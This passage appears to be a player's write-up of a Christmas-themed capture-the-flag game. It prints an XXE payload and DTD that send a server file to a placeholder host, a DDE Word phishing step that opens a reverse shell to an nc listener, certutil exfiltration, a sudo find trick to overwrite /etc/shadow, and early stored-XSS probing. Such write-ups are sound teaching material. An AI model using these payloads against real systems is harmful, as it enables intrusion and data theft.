But, you know, he doesn't seem quite himself. Look into his eyes. It almost looks like he has been hypnotized. Something's not right with him.
In fact, he seems to be under someone else's control. We've got to find out who is pulling his strings, or else the real villain will remain on the loose and will likely strike again.
It means, buckle your seatbelt, dear player, because the North Pole is going bye-bye.
North Pole Christmas Town infrastructure: North Pole Police Department web site
In the fourth page, we learned the existence of Munchkin moles, that try to pass for Elves in order to spy on them. Let's try to learn more about these Munchkin moles!
If we take a look back at the documents we found on the SMB server, there is one called "BOLO - Munchkin Mole Report.docx". This is the content:
BOLO: Munchkin Mole Advisory
Please be advised that the long-rumored munchkin moles are now believed to be real. After a detailed and thorough investigation, North Pole Authorities have identified two munchkins impersonating elves in Santa's workshop.
When confronted, both munchkins were able to evade elf authorities after throwing rocks and engaging in aggravated hair pulling. The pair mysteriously disappeared after speaking an unknown word sounding like "puuurzgexgull."
Munchkin Descriptions
Name: Boq Questrian
Height: Approximately 4 feet
Weight: Unknown
Appearance: Reddish skin tone, blue eyes. A single curl of hair dominates an otherwise unremarkable hairstyle.
Warning: Boq is uncannily accurate at short-distance rock throwing.
Name: Bini Aru
Height: Approximately 4 feet
Weight: Unknown
Appearance: Pale skin, grey eyes. Unruly black hair.
Warning: Bini is unrelenting in hair pulling.
If you see these munchkin moles, do not attempt to detain or apprehend them. Contact the North Pole Police Department for assistance.
For more information visit https://nppd.northpolechristmastown.com.
Merry Christmas!
So, two Munchkin moles were identified, Boq Questrian and Bini Aru. But there may be more. Let's try and use the North Pole Police Department's website to identify potential moles.
The North Pole Police Department's website has a section infractions, where you can find what kind of infractions were commited by children. The infractions go from playing ball in the house to trying to ruin Christmas.
After too many infractions, children are put on the naughty list. But how many infractions does it take?
On the SMB server, we also had a file called "Naughty and Nice List.csv", which gives us, line by line, the name of a child and whether their naughty or nice:
$ head Naughty\ and\ Nice\ List.csv
Abdullah Lindsey,Nice
Abigail Chavez,Nice
Aditya Perera,Naughty
Adrian Kemp,Nice
Adrian Lo,Nice
Adriana Sutherland,Nice
Agnes Adam,Nice
Ahmed Hernandez,Nice
Al Molina,Nice
Alabaster Snowball,Nice
Shame on you, Aditya Perera! Anyway, we can query the North Pole Police Department website to query information on the children, and get results in JSON for easy parsing. So, here's a quick Python script which queries the NPPD website, and get the number of infractions for every child:
#!/usr/bin/env python3
import sys
import requests
def main(naughty_nice_file):
url = 'https://nppd.northpolechristmastown.com/infractions?query={}&json=1'
max_infraction_nice = -1
min_infraction_naughty = sys.maxsize
with open(naughty_nice_file, 'r') as f:
# We read every line...
for line in f.readlines():
# ...and get the name of the child
name = line.split(',')[0]
r = requests.get(url.format(name))
# We retrieve the number of infraction for the child
number_of_infractions = r.json()['count']
# If the child is nice, we see if the number of infraction is
# greater than the existing max
if 'Nice' in line:
if number_of_infractions > max_infraction_nice:
max_infraction_nice = number_of_infractions
# If the child is naughty, we see if the number of infraction is
# smaller than the existing min
if 'Naughty' in line:
if number_of_infractions < min_infraction_naughty:
min_infraction_naughty = number_of_infractions
print('Maximum number of infractions for nice child: {}'.format(max_infraction_nice))
print('Minimum number of infractions for naughty child: {}'.format(min_infraction_naughty))
if __name__ == '__main__':
if len(sys.argv) == 2:
main(sys.argv[1])
else:
print('usage: {} <naughty_nice_file>'.format(sys.argv[0]))
Now, let's run the script:
$ ./number_of_infractions.py "Naughty and Nice List.csv"
Maximum number of infractions for nice child: 3
Minimum number of infractions for naughty child: 4
We've found that every nice child has at most three infractions, and every naughty child has at least four infractions. So it's safe to say that it takes four infractions to be put on the naughty list.
Technically, we could have only queried the number of infractions for naughty children, which wouls have given us four. Then we would only had to find a nice child with three infractions, such as Al Molina. This supposes that max_infraction_nice < min_infraction_naughty, but this seems to be a valid hypothesis.
Now, according to the report, the Munchkin moles were heavily into hair-pulling and rock-throwing. Let's query the NPPD website for children that commited both these infractions:
#!/usr/bin/env python3
import requests
def main():
hair_pulling_url = 'https://nppd.northpolechristmastown.com/infractions?query=Aggravated+pulling+of+hair&json=1'
rock_throwing_url = 'https://nppd.northpolechristmastown.com/infractions?query=Throwing+rocks+%28at+people%29&json=1'
# We use sets to avoid duplicate names
hair_pullers = set()
rock_throwers = set()
# We first get hair-pullers
r = requests.get(hair_pulling_url)
for result in r.json()['infractions']:
hair_pullers.add(result['name'])
# Then we get rock throwers
r = requests.get(rock_throwing_url)
for result in r.json()['infractions']:
rock_throwers.add(result['name'])
# Finally, we get the intersection, to find children who have done both
print('\n'.join(hair_pullers.intersection(rock_throwers)))
if __name__ == '__main__':
main()
$ ./find_moles.py
Nina Fitzgerald
Kirsty Evans
Beverly Khalil
Sheri Lewis
We now have the name of four more probable Munchkin moles, which gives us a total of six Munchkin moles.
Sixth page of The Great Book
North Pole and Beyond: I don't think we're in Kansas anymore
Cranberry Pi
* .~' O'~.. ~'O'~.. ~'O'~..~' O'~..~'O'~. .~'O'~..~'O'~ ..~'O'~..~'O'~. .~'O'~..~'O'~..~' O'~..~'O'~..~'O'~.. ~'O'~..~'O'~..~'O'~.. ~'O'~..~'O'~..~'O'~..~' O'~..~'O'~..~'O'~..~'O'~. .~'O'~..~'O'~..~'O'~..~'O'~ ..~'O'~..~'O'~..~'O'~..~'O'~. .~'O'~..~'O'~..~'O'~..~'O'~..~' O'~..~'O'~..~'O'~..~'O'~..~'O'~.. ~'O'~..~'O'~..~'O'~..~'O'~..~'O'~.. ~'O'~..~'O'~..~'O'~..~'O'~..~'O'~..~' O'~..~'O'~..~'O'~..~'O'~..~'O'~..~'O'~. .~'O'~..~'O'~..~'O'~..~'O'~..~'O'~..~'O'~ ..~'O'~..~'O'~..~'O'~..~'O'~..~'O'~..~'O'~. .~'O'~..~'O'~..~'O'~..~'O'~..~'O'~..~'O'~..~' O'~..~'O'~..~'O'~..~'O'~..~'O'~..~'O'~..~'O'~.. Sugarplum Mary is in a tizzy, we hope you can assist. Christmas songs abound, with many likes in our midst. The database is populated, ready for you to address. Identify the song whose popularity is the best.
After finding the least popular browser, we must now find the most popular song in the database:
elf@e3f1a585649d:~$ ls -lh
total 21M
-rw-r--r-- 1 root root 16M Nov 29 19:28 christmassongs.db
-rwxr-xr-x 1 root root 5.0M Dec 7 15:10 runtoanswer
A database in a single flat file indicates that it's most likely a SQLite database:
elf@e3f1a585649d:~$ sqlite3 ./christmassongs.db
SQLite version 3.11.0 2016-02-15 17:29:24
Enter ".help" for usage hints.
sqlite> .tables
likes songs
We have two tables, one named likes
, one named songs
. Let's
see their structure:
sqlite> .schema
CREATE TABLE songs(
id INTEGER PRIMARY KEY AUTOINCREMENT,
title TEXT,
artist TEXT,
year TEXT,
notes TEXT
);
CREATE TABLE likes(
id INTEGER PRIMARY KEY AUTOINCREMENT,
like INTEGER,
datetime INTEGER,
songid INTEGER,
FOREIGN KEY(songid) REFERENCES songs(id)
);
The songs
table is pretty straightforward. The likes
table
holds the number of likes for every song, using the song's id. If the
column like
is 1, then the song was liked.
We can query the database to get the number of likes for every song id. The correct query was found after reading this tutorial on the COUNT function. This query will get the song id, their number of likes, and will sort them from least to most liked.
sqlite> SELECT songid, count(*) from likes WHERE like=1 GROUP BY songid ORDER BY count(*);
[...]
33|1698
199|1702
98|1706
90|1715
134|1719
265|1720
245|1756
392|8996
Alright, the song with the id 392 is the most liked song. Now, we could query
the songs
manually... Or! We could use an inner junction,
just for the fun:
sqlite> SELECT title, count(*) from likes INNER JOIN songs on songs.id=likes.songid WHERE like=1 GROUP BY songid ORDER BY count(*);
[...]
I Farted on Santa's Lap (Now Christmas Is Gonna Stink for Me)|1689
Why Couldn't It Be Christmas Every Day?|1691
A Baby Changes Everything|1693
I'll Be Home|1695
Old Time Christmas|1696
Cold December Night|1697
Blue Holiday|1698
Home for Christmas|1702
Christmas Memories|1706
Christmas Is Now Drawing Near at Hand|1715
Coventry Carol|1719
The Little Boy that Santa Claus Forgot|1720
Joy to the World|1756
Stairway to Heaven|8996
The most-liked song this Christmas seems to be Stairway to Heaven. Although I Farted on Santa's Lap (Now Christmas Is Gonna Stink for Me) seems to be doing pretty well!
elf@ef4955c61cfe:~$ ./runtoanswer
Starting up, please wait......
Enter the name of the song with the most likes: Stairway to Heaven
That is the #1 Christmas song, congratulations!
Redirecting the snowball
Having the found the most popular song for this Christmas, we're given a new object: the Portal, which can create a duplicate of our snowball in a second place.
Here's the layout:
North Pole Christmas Town infrastructure: Elf as a Service platform
The Elf as a Service platform is a web application where you can order new elves. To do so, you only have to upload an XML files, containing the details of th elves you wish to order:
POST /Home/DisplayXml HTTP/1.1
Host: eaas.northpolechristmastown.com
Content-Length: 1946
Origin: http://eaas.northpolechristmastown.com
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryflybX2ZBWLwspXMu
------WebKitFormBoundaryflybX2ZBWLwspXMu
Content-Disposition: form-data; name="file"; filename="Elfdata.xml"
Content-Type: text/xml
<?xml version="1.0" encoding="utf-8"?><Elf><Elf><ElfID>1</ElfID><ElfName>Elf On a Shelf</ElfName><Contact>8675309</Contact><DateOfPurchase>11/29/2017 12:00:00 AM</DateOfPurchase><Picture>1.png</Picture><Address>On a Shelf, Obviously</Address></Elf><Elf><ElfID>2</ElfID><ElfName>Buddy the Elf</ElfName><Contact>8675309</Contact><DateOfPurchase>11/29/2017 12:00:00 AM</DateOfPurchase><Picture>2.png</Picture><Address>New York City</Address></Elf><Elf><ElfID>3</ElfID><ElfName>Legolas</ElfName><Contact>8675309</Contact><DateOfPurchase>11/29/2017 12:00:00 AM</DateOfPurchase><Picture>3.png</Picture><Address>Middle Earth</Address></Elf><Elf><ElfID>4</ElfID><ElfName>Marcus Elf</ElfName><Contact>8675309</Contact><DateOfPurchase>11/29/2017 12:00:00 AM</DateOfPurchase><Picture>4.png</Picture><Address>Canada</Address></Elf><Elf><ElfID>5</ElfID><ElfName>Alf</ElfName><Contact>8675309</Contact><DateOfPurchase>11/29/2017 12:00:00 AM</DateOfPurchase><Picture>5.png</Picture><Address>Melmac</Address></Elf><Elf><ElfID>6</ElfID><ElfName>Dobby the House Elf</ElfName><Contact>8675309</Contact><DateOfPurchase>11/29/2017 12:00:00 AM</DateOfPurchase><Picture>6.png</Picture><Address>London</Address></Elf><Elf><ElfID>7</ElfID><ElfName>Malekith</ElfName><Contact>8675309</Contact><DateOfPurchase>11/29/2017 12:00:00 AM</DateOfPurchase><Picture>7.png</Picture><Address>Asgard</Address></Elf><Elf><ElfID>8</ElfID><ElfName>Keebler Elf</ElfName><Contact>8675309</Contact><DateOfPurchase>11/29/2017 12:00:00 AM</DateOfPurchase><Picture>8.png</Picture><Address>Tree</Address></Elf><Elf><ElfID>9</ElfID><ElfName>Jangle Bells</ElfName><Contact>8675309</Contact><DateOfPurchase>11/29/2017 12:00:00 AM</DateOfPurchase><Picture>9.png</Picture><Address>North Pole</Address></Elf></Elf>
------WebKitFormBoundaryflybX2ZBWLwspXMu--
Hmm, that's interesting. Uploading XML files can often lead to eXternal XML Entities (XXE) attacks. If the XML parser on the server side does not filter XML entities, we can make the server perform several actions, such as outputing the content of a local file, etc. More details are given in this SANS blog post.
Since we want to recover the content of C:\greatbook.txt
, let's
implement the attack, as given in the above tutorial. First, we'll host a
malicious .dtd file on our public facing server:
<?xml version="1.0" encoding="UTF-8"?>
<!ENTITY % stolendata SYSTEM "file:///c:/greatbook.txt">
<!ENTITY % inception "<!ENTITY % sendit SYSTEM 'http://X.X.X.X/greatbook?%stolendata;'>">
Then, we'll send our malicious XML file to the EaaS application:
POST /Home/DisplayXml HTTP/1.1
Host: eaas.northpolechristmastown.com
Content-Length: 731
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryflybX2ZBWLwspXMu
------WebKitFormBoundaryflybX2ZBWLwspXMu
Content-Disposition: form-data; name="file"; filename="Elfdata.xml"
Content-Type: text/xml
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE demo [
<!ELEMENT demo ANY >
<!ENTITY % extentity SYSTEM "http://X.X.X.X/evil.dtd">
%extentity;
%inception;
%sendit;
]
>
<Elf>
<Elf>
<ElfID>1</ElfID>
<ElfName>Elf On a Shelf</ElfName>
<Contact>8675309</Contact>
<DateOfPurchase>11/29/2017 12:00:00 AM</DateOfPurchase>
<Picture>1.png</Picture>
<Address>On a shelf, obviously</Address>
</Elf>
</Elf>
------WebKitFormBoundaryflybX2ZBWLwspXMu--
We now trigger the XML parser by visiting the /Home/DisplayXml
page,
which will trigger the downloading of our evil .dtd file:
$ tail -f access.log | grep -E 'greatbook|evil.dtd'
35.185.118.225 - - [29/Dec/2017:00:22:54 +0100] "GET /evil.dtd HTTP/1.1" 200 200 "-" "-"
35.185.118.225 - - [29/Dec/2017:00:22:54 +0100] "GET /greatbook?http://eaas.northpolechristmastown.com/xMk7H1NypzAqYoKw/greatbook6.pdf HTTP/1.1" 404 169 "-" "-"
Our payload work! We now have the content of C:\greatbook.txt
, which
is the URL http://eaas.northpolechristmastown.com/xMk7H1NypzAqYoKw/greatbook6.pdf.
We can now download the sixth page of The Great Book
(sha256: 92dff9b155da22001dc72340791bde703fbf83bc0369e95aa9baea4ed5c36a84
):
The Dreaded Inter-Dimensional Tornadoes
Throughout our recorded history, Oz has benefitted from quite favorable weather, with frequent sunny days and a moderatly warm climate. Indeed, all Munchkins enjoy essentially year-round springtime weather, keepking flowers in bloom and making spirits bright.
However, one type of weather phenomenon interrupts the otherwise beautiful climate of Oz - the dreaded Inter-Dimensional Tornadoes - when the weather outside is frightful. While quite rare, these ferocious storms appear suddenly and without a warning, striking Oz every year or two. These calamitous cyclones vary in intensity, but even the weakest have caused significant damage, lifting houses off their foundations and shredding everything in their deadly path, especially paper products.
Inter-Dimensional Tornadoes get their unusual name because their intense power has been known to rip holes into the very fabric of space and time, allowing a single tornado to strike multiple different places in disparate time eras simultaneously, interlinking each time and location touched by the storm into a swirling inter-dimensional space-time vortex. Although the specific physics of such storms remains elusive to our best scientists, one thing is consistently observed by researchers and historians: When an Inter-Dimensional Tornado strikes, it not only scatters whatever it has vacuumed up throughout many lands, it sometimes also drops artifacts from the past or even the future in its wake. Such storms have brought antique watches, clothing, and curious gadgetry, lifting them from distant times and far away places and depositing them in Oz.
Seventh page of The Great Book
North Pole and Beyond: Oh wait! Maybe we are...
Cranberry Pi
\ / -->*<-- /o\ /_\_\ /_/_0_\ /_o_\_\_\ /_/_/_/_/o\ /@\_\_\@\_\_\ /_/_/O/_/_/_/_\ /_\_\_\_\_\o\_\_\ /_/0/_/_/_0_/_/@/_\ /_\_\_\_\_\_\_\_\_\_\ /_/o/_/_/@/_/_/o/_/0/_\ jgs [___] My name is Shinny Upatree, and I've made a big mistake. I fear it's worse than the time I served everyone bad hake. I've deleted an important file, which suppressed my server access. I can offer you a gift, if you can fix my ill-fated redress. Restore /etc/shadow with the contents of /etc/shadow.bak, then run "inspect_da_box" to complete this challenge. Hint: What commands can you run with sudo?
We need to restore the content of /etc/shadow.bak
to /etc/shadow
.
The hint is a pretty big one. If you remember last year's Christmas Challenge,
you remember that we can use sudo -l
to see what kind of command we
can execute:
elf@760499dcc4c9:~$ sudo -l
Matching Defaults entries for elf on 760499dcc4c9:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User elf may run the following commands on 760499dcc4c9:
(elf : shadow) NOPASSWD: /usr/bin/find
We can execute find
as elf:shadow
(that is, as the user
elf
, member of the group shadow
, I didn't know this syntax).
Let's take a look at the permissions to our shadow
files:
elf@760499dcc4c9:~$ ls -lh /etc/shadow*
-rw-rw---- 1 root shadow 677 Dec 23 23:59 /etc/shadow
-rw------- 1 root root 652 Nov 14 13:48 /etc/shadow-
-rw-r--r-- 1 root root 677 Dec 15 19:59 /etc/shadow.bak
We can see that the shadow
group has write access to /etc/shadow
.
So, we need a way, by running find
, to copy the content from
/etc/shadow.bak
to /etc/shadow
. Luckily, find
has the
-exec
parameter, which can be used to execute command on the found
files:
elf@760499dcc4c9:~$ sudo -g shadow /usr/bin/find /etc -name shadow.bak -exec cp {} /etc/shadow \; 2> /dev/null
elf@760499dcc4c9:~$ inspect_da_box
___
/ __'. .-"""-.
.-""-| | '.'. / .---. \
/ .--. \ \___\ \/ /____| |
/ / \ `-.-;-(`_)_____.-'._
; ; `.-" "-:_,(o:==..`-. '. .-"-,
| | / \ / `\ `. \ / .-. \
\ \ | Y __...\ \ \ / / \/
/\ | | | .--""--.| .-' \ '.`---' /
\ \ / / |` \' _...--.; '---'`
\ '-' / jgs /_..---.._ \ .'\\_ `.
`--'` .' (_) `'/ (_) /
`._ _.'| .'
``````` '-...--'`
/etc/shadow has been successfully restored!
North Pole Christmas Town infrastructure: Elf-Machine Interface server
The seventh question specifies that people use the Elf-Machine Interface server to access email, and that we could get access to it via a phishing attack.
Let's take a look at Alabaster's emails. First, the phishing scenario:
From: alabaster.snowball@northpolechristmastown.com
To: "jessica.claus@northpolechristmastown.com"
Subject: gingerbread cookie recipe
Hey Mrs Claus,
Do you have that awesome gingerbread cookie recipe you made for me last year? You sent it in a MS word .docx file. I would totally open that docx on my computer if you had that. I would click on anything with the words gingerbread cookie recipe in it. I'm totally addicted and want to make some more.
Thanks,
Alabaster Snowball
From: alabaster.snowball@northpolechristmastown.com
To: all@northpolechristmastown.com
Subject: Re: COOKIES!
Awesome, yea if anyone finds that .docx file containing the recipe for "gingerbread cookie recipe", please send it to me in a docx file. Im currently working on my computer and would totally download that to my machine, open it, and click to all the prompts.
Thanks!
Alabaster Snowball.
Oh, Alabaster, your gluttony will be your downfall. Now let's see how to deliver our payload:
From: minty.candycane@northpolechristmastown.com
To: all@northpolechristmastown.com
Subject: Should we be worried?
Hey Alabaster,
You know I'm a novice security enthusiast, well I saw an article a while ago about regarding DDE exploits that dont need macros for MS word to get command execution.
https://sensepost.com/blog/2017/macro-less-code-exec-in-msword/
Should we be worried about this?
I tried it on my local machine and was able to transfer a file. Here's a poc:
http://mail.northpolechristmastown.com/attachments/dde_exmaple_minty_candycane.png
I know your the resident computer engineer here so I wanted to defer to the expert.
:)
-Minty CandyCane.
From: alabaster.snowball@northpolechristmastown.com
To: all@northpolechristmastown.com
Subject: Re: Should we be worried?
Quit worrying Minty,
You have nothing to worry about with me around! I have developed most of the applications in our network including our network defenses. We are are completely secure and impenetrable.
Sincerely,
Alabaster Snowball.
Oh, Alabaster, your hubris will also be your downfall. And finally, what payload can we use:
From: alabaster.snowball@northpolechristmastown.com
To: all@northpolechristmastown.com
Subject: Re: Lost book page
Well powershell is my new love but netcat will always hold a special place in my heart.
From: alabaster.snowball@northpolechristmastown.com
To: all@northpolechristmastown.com
Subject: Re: Lost book page
I installed nc.exe to path for my computer.
Awesome, now we know that Alabaster has nc.exe
in his PATH. We can use
this tool to connect back to our Internet-facing machine, to get a shell access
to the Elf-Machine Interface server.
Let's prepare our malicious .docx file, using the Sensepost tutorial:
Now, let's send our gingerbread cookie recipe to our dear Alabaster, from Mrs Claus's account. We can do this by putting her email address in our cookie, as explained in the EWA section:
And now, we wait for a shell:
$ nc -knlvp 8080
listening on [any] 8080 ...
connect to [X.X.X.X] from (UNKNOWN) [35.185.57.190] 52783
Microsoft Windows [Version 10.0.14393]
(c) 2016 Microsoft Corporation. All rights reserved.
C:\Users\alabaster_snowball\Documents>
Sweet! We have a shell access to the EMI machine. Now, the only thing to do is
to get the C:\GreatBookPage7.pdf
file. But how to exfiltrate?
Exfiltrating data from a Windows machine can be a pain, since there's no
useful tools like scp
, curl
, etc. (yet) to send data to the
outside. One of my favourite tricks is to use the certutil.exe
command
tool. This tool is used to manipulate certificates, etc., but it can be used
to base64-encode and -decode data.
So, what we'll do is simply base64 encode the page to a file. Then we'll output the content of the file, copy/paste it to our machine, and base64-decode it:
C:\Users\alabaster_snowball\Documents> certutil.exe -f -encode C:\GreatBookPage7.pdf C:\Users\alabaster_snowball\Documents\GreatBookPage7.pdf.b64
Input Length = 1053508
Output Length = 1448634
CertUtil: -encode command completed successfully.
C:\Users\alabaster_snowball\Documents> type .\GreatBookPage7.pdf.b64
-----BEGIN CERTIFICATE-----
JVBERi0xLjMKJcTl8uXrp/Og0MTGCjUgMCBvYmoKPDwgL0xlbmd0aCA2IDAgUiAv
[snip]
RU9GCg==
-----END CERTIFICATE-----
Then, on my machine (you must remove the BEGIN CERTIFICATE
and
END CERTIFICATE
from the output):
$ base64 -d .\GreatBookPage7.pdf.b64 > GreatBookPage7.pdf
Which gives us the seventh page of The Great Book
(sha256: bc93c535481abb76e3c5180406ea9ea0910acd53f76cab788f1d680d21b611b5
):
Regarding the Witches of Oz
Of all the varied and amazing people who inhabit the Land of Oz, the witches are among the most powerful, wielding potent magic and mesmerizing spells. They travel through the air, propelled by bubbles or broomsticks. Each witch has a very different attitude and outlook, ranging from faithful friends who are dear to us all way down to hearts full of unwashed socks and souls full of gunk.
During the Great Schism, the witches very deliberately remained neutral, siding with neither the Munchkins nor the Elves. The witches seem to live exclusively in Oz, tending to their castles. As of this writing, the witches have never been observed in the North Pole.
Who is behind all this?
North Pole and Beyond: We're Off To See The...
Cranberry Pi
.--._.--.--.__.--.--.__.--.--.__.--.--._.--. _(_ _Y_ _Y_ _Y_ _Y_ _)_ [___] [___] [___] [___] [___] [___] /:' \ /:' \ /:' \ /:' \ /:' \ /:' \ |:: | |:: | |:: | |:: | |:: | |:: | \::. / \::. / \::. / \::. / \::. / \::. / jgs \::./ \::./ \::./ \::./ \::./ \::./ '=' '=' '=' '=' '=' '=' Wunorse Openslae has a special challenge for you. Run the given binary, make it return 42. Use the partial source for hints, it is just a clue. You will need to write your own code, but only a line or two.
Alright, we have a program, and we need to make it return 42:
elf@ed587b205bb6:~$ ls -lh
total 100K
-rwxr-xr-x 1 root root 83K Dec 16 16:56 isit42
-rw-r--r-- 1 root root 654 Dec 16 16:56 isit42.c.un
elf@ed587b205bb6:~$ ./isit42
Starting up ... done.
Calling rand() to select a random number.
170 is not 42.
Ok, the program seems to generate a random number, using rand()
, and
compare the result to 42. If the random number is not equal to 42, the program
outputs an error. So, how can we force rand
to return 42?
The common trick is to use LD_PRELOAD
. If this shell variable holds
the path to a shared library, this library will be loaded before any other
library, include libc
. The idea is to create our own library, with
our own version of rand
that, for example, always return 42. Luckily
for us, a SANS blog post
was recently posted on the subject.
The blog post focuses on the usleep
instead of rand
, but the
principle is the same. So, let's create our own rand
library!
elf@ed587b205bb6:~$ cat <<EOF > hijack_rand.c
> int rand()
> {
> return 42;
> }
>
> EOF
elf@ed587b205bb6:~$ cat hijack_rand.c
int rand()
{
return 42;
}
elf@ed587b205bb6:~$ gcc -o hijack_rand.so -shared -fPIC ./hijack_rand.c
elf@ed587b205bb6:~$ LD_PRELOAD="./hijack_rand.so" ./isit42
Starting up ... done.
Calling rand() to select a random number.
.-.
.;;\ || _______ __ __ _______ _______ __ _ _______ _ _ _______ ______
/::::\|/ | || | | || | | _ || | | || || | _ | || || _ |
/::::'(); |_ _|| |_| || ___| | |_| || |_| || _____|| || || || ___|| | ||
|\/`\:_/`\/| | | | || |___ | || || |_____ | || |___ | |_||_
,__ |0_..().._0| __, | | | || ___| | || _ ||_____ || || ___|| __ |
\,`////""""\\\\`,/ | | | _ || |___ | _ || | | | _____| || _ || |___ | | | |
| )//_ o o _\\( | |___| |__| |__||_______| |__| |__||_| |__||_______||__| |__||_______||___| |_|
\/|(_) () (_)|\/
\ '()' / ______ _______ _______ ___ ___ __ __ ___ _______
_:.______.;_ | _ | | || _ || | | | | | | | | | | |
/| | /`\/`\ | |\ | | || | ___|| |_| || | | | | |_| | | | | _____|
/ | | \_/\_/ | | \ | |_||_ | |___ | || | | | | | | | | |_____
/ |o`""""""""`o| \ | __ || ___|| || |___ | |___ |_ _| | | |_____ |
`.__/ () \__.' | | | || |___ | _ || || | | | | | _____| |
| | ___ ___ | | |___| |_||_______||__| |__||_______||_______| |___| |___| |_______|
/ \|---| |---|/ \
| (|42 | () | DA|) | _ ___ _______
\ /;---' '---;\ / | | | || |
`` \ ___ /\ ___ / `` | |_| ||____ |
`| | | |` | | ____| |
jgs | | | | |___ || ______| ___
_._ |\|\/||\/|/| _._ | || |_____ | |
/ .-\ |~~~~||~~~~| /-. \ |___||_______||___|
| \__.' || '.__/ |
`---------''---------`
Congratulations! You've won, and have successfully completed this challenge.
Redirecting the snowball
Here's the layout I used to solve this level (I know, I got suuuper lazy, but God bless this portal):
Having completed this level, we have a little chat with a certain someone:
Glinda the Good Witch: It's me, Glinda the Good Witch of Oz! You found me and ruined my genius plan!
You see, I cast a magic spell on the Abominable Snow Monster to make him throw all the snowballs at the North Pole. Why? Because I knew a giant snowball fight would stir up hostilities between the Elves and the Munchkins, resulting in all-out WAR between Oz and the North Pole. I was going to sell my magic and spells to both sides. War profiteering would mean GREAT business for me.
But, alas, you and your sleuthing foiled my venture. And I would have gotten away with it too, if it weren't for you meddling kids!
My, oh my, what a nasty plan!
North Pole Christmas Town infrastructure: Elf Database
On to the last application, the Elf Database. Given the name, we can expect the application to be some sort of web interface allowing us to have access to the list of North Pole's elves.
Once again, if we try to connect using Alabaster's account, we get an
Incorrect username or password!
error.
So, let's see what we can find from basic recon. Once again, we get some
information by taking a look at the robots.txt
file:
GET /robots.txt HTTP/1.1
Host: edb.northpolechristmastown.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.84 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Cookie: SESSION=5A0K85HFazf2m0ltjg3g
Connection: close
HTTP/1.1 200 OK
Server: nginx/1.10.3
Date: Sun, 07 Jan 2018 23:02:46 GMT
Content-Type: text/plain; charset=utf-8
Connection: close
Last-Modified: Tue, 15 Aug 2017 04:58:06 GMT
User-agent: *
Disallow: /dev
So, there is a /dev
directory. If we browse to it, we find only one
file, LDIF_template.txt
:
GET /dev/LDIF_template.txt HTTP/1.1
Host: edb.northpolechristmastown.com
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.84 Safari/537.36
Cookie: SESSION=5A0K85HFazf2m0ltjg3g
Connection: close
HTTP/1.1 200 OK
Server: nginx/1.10.3
Date: Sun, 07 Jan 2018 23:04:47 GMT
Content-Type: text/plain; charset=utf-8
Content-Length: 751
Connection: close
Accept-Ranges: bytes
#LDAP LDIF TEMPLATE
dn: dc=com
dc: com
objectClass: dcObject
dn: dc=northpolechristmastown,dc=com
dc: northpolechristmastown
objectClass: dcObject
objectClass: organization
dn: ou=human,dc=northpolechristmastown,dc=com
objectClass: organizationalUnit
ou: human
dn: ou=elf,dc=northpolechristmastown,dc=com
objectClass: organizationalUnit
ou: elf
dn: ou=reindeer,dc=northpolechristmastown,dc=com
objectClass: organizationalUnit
ou: reindeer
dn: cn= ,ou= ,dc=northpolechristmastown,dc=com
objectClass: addressbookPerson
cn:
sn:
gn:
profilePath: /path/to/users/profile/image
uid:
ou:
department:
mail:
telephoneNumber:
street:
postOfficeBox:
postalCode:
postalAddress:
st:
l:
c:
facsimileTelephoneNumber:
description:
userPassword:
This gives us some info about how the Elf Database application functions.
There's obviously an LDAP backend. We also have the list of attributes for the
object representing the users, including one which seems particularly juicy,
userPassword
.
Learning that the application uses an LDAP backend, I tried to bypass
authentication using LDAP injection, but it did not work. So, let's take a look
at the source code of the application. Here's what we can find on the
index.html
page:
<script>
if (!document.cookie) {
window.location.href = '/';
} else {
token = localStorage.getItem("np-auth");
if (token) {
$.post( "/login", { auth_token: token }).done(function( result ) {
if (result.bool) {
window.location.href = result.link;
}
})
}
}
</script>
</html>
Hmm, a token stored in the local storage, under the key np-auth
seems
to be used for the application session management. Let's keep digging.
Under the login form, there's a support link, where you can send a password reset request to an administrator. Since we have access to Alabaster's email account, let's try and reset his password:
POST /service HTTP/1.1
Host: edb.northpolechristmastown.com
Origin: http://edb.northpolechristmastown.com
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.84 Safari/537.36
Cookie: SESSION=6S6Nd58Sy85OK09ui063
Connection: close
uid=alabaster.snowball&email=alabaster.snowball%40northpolechristmastown.com&message=I+forgot+my+password!
HTTP/1.1 200 OK
Server: nginx/1.10.3
Date: Sun, 07 Jan 2018 23:20:45 GMT
Content-Type: application/json
Content-Length: 115
Connection: close
{"bool":true,"link":"/reset_request?ticket=OYHAT-T8XZR-EC2YB-U0173","message":"Request Submitted. Redirecting..."}
Now that our password reset request was sent, let's check Alabaster's email! Hmm, nothing. Let's see what happened after our request was sent. We get redirected to a support ticket page:
And our message is embedded in the page. Is it possible that they forgot to sanitize our user input? Let's try to inject some special characters:
POST /service HTTP/1.1
Host: edb.northpolechristmastown.com
Origin: http://edb.northpolechristmastown.com
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.84 Safari/537.36
Referer: http://edb.northpolechristmastown.com/index.html
Cookie: SESSION=53LByIBB8Ct5Z79RdsTC
uid=alabaster.snowball&email=alabaster.snowball%40northpolechristmastown.com&message=<u>Pretty+underlined+message</u>
Now, if we take a look at our ticket page, we can see that the <u>
tag
was rendered, and my message appears underlined:
<tr>
<td>Alabaster</td>
<td>Snowball</td>
<td>alabaster.snowball@northpolechristmastown.com</td>
<td>123-456-7890</td>
<td><u>Pretty underlined message</u></td>
</tr>
</tbody>
This means that we can try to perform an XSS attack against the administrator
that will visualize our request! I usually use tags like <u>
or
<b>
when testing for XSS, because they're usually not picked up by
WAFs or by custom implemented filters. And indeed, if we take a look at the
